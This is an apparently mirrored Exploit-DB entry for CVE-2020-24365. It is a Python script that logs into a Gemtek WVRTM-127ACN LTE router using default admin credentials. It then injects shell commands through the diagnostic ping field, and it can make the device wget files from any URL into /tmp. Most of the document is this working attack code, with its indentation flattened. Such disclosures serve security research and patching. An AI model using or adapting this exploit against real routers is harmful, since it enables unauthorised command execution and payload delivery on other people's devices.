Gemtek WVRTM-127ACN 01.01.02.141 – Authenticated Arbitrary Command Injection

• Exploit Database
• 103 阅读

• 作者： Gabriele Zuddas
  日期： 2020-11-19
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/49079/

• # Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection 
  # Date: 13/09/2020 
  # Exploit Author: Gabriele Zuddas 
  # Version: 01.01.02.127, 01.01.02.141
  # CVE : CVE-2020-24365 
  
  
  Service Provider : 	Linkem
  Product Name : 	LTE CPE
  Model ID : 	WVRTM-127ACN
  Serial ID :	GMK170418011089
  IMEI : 	XXXXXXXXXXXXX
  ICCID : 	XXXXXXXXXXXXXXXXXX
  Firmware Version : 	01.01.02.141
  Firmware Creation Date : 	May 15 13:04:30 CST 2019
  Bootrom Version : 	U-Boot 1.1.3
  Bootrom Creation Date : 	Oct 23 2015 - 16:03:05
  LTE Support Band : 	42,43
  
  
  Injecting happens here:
  
  sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&
  
  
  Exploit has been tested on older verions too:
  Firmware Version: 	01.01.02.127
  Firmware Creation Date : 	May 23 15:34:10 CST 2018
  
  """
  
  import requests, time, argparse, re, sys
  
  class Exploit():
  
  CVE = "CVE-2020-24365"
  
  def __init__(self, args):
  self.args = args
  self.session = requests.Session()
  
  def login(self):
  s = self.session
  r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
  if "sid" not in s.cookies:
  print("[!] Login failed.")
  exit(1)
  sid = s.cookies["sid"]
  s.headers = {"sid": sid}
  print(f"[*] Login successful! (sid={sid})")
  
  def now(self):
  return int(time.time() * 1000)
  
  def exploit(self, command):
  self.login()
  
  with self.session as s:
  payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"
  
  r = s.get(payload)
  r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
  content = str(r.content, "utf8")
  
  #Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
  r = s.get(payload)
  r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
  content = str(r.content, "utf8")
  
  #TODO: eventually parse content with regex to clean out the output
  c = re.findall(r"(?<=ping: bad address \')(.*)(?=\')", content)
  print(content)
  print(c[0])
  
  if len(c) > 0:
  return c[0]
  else:
  return False
  
  def download_file(self, url):
  filename = url.rsplit('/', 1)[-1]
  
  if self.args.file is not None:
  print(f"[*] Attempting download of file '{filename}' from {url} ...")
  
  if self.exploit(f"wget {url} -O /tmp/{filename}"):
  print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
  print(self.exploit(f"du -h /tmp/{filename}"))
  return True
  else:
  print(f"[!] Failed to download {filename} from {url}")
  return False
  
  def run(self):
  if self.args.command is not None:
  print(self.exploit(self.args.command))
  exit()
  if self.args.file is not None:
  self.download_file(self.args.file)
  exit()
  
  if __name__ == "__main__":
  # Create the parser and add arguments
  parser = argparse.ArgumentParser()
  parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")
  parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
  parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
  parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")
  
  parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")
  
  args = parser.parse_args()
  
  # Run exploit
  X = Exploit(args)
  if len(sys.argv) > 1:
  print(f"[*] Exploiting {X.CVE} ...")
  X.run()
  else:
  parser.print_help(sys.stderr)
  

  C

  Copy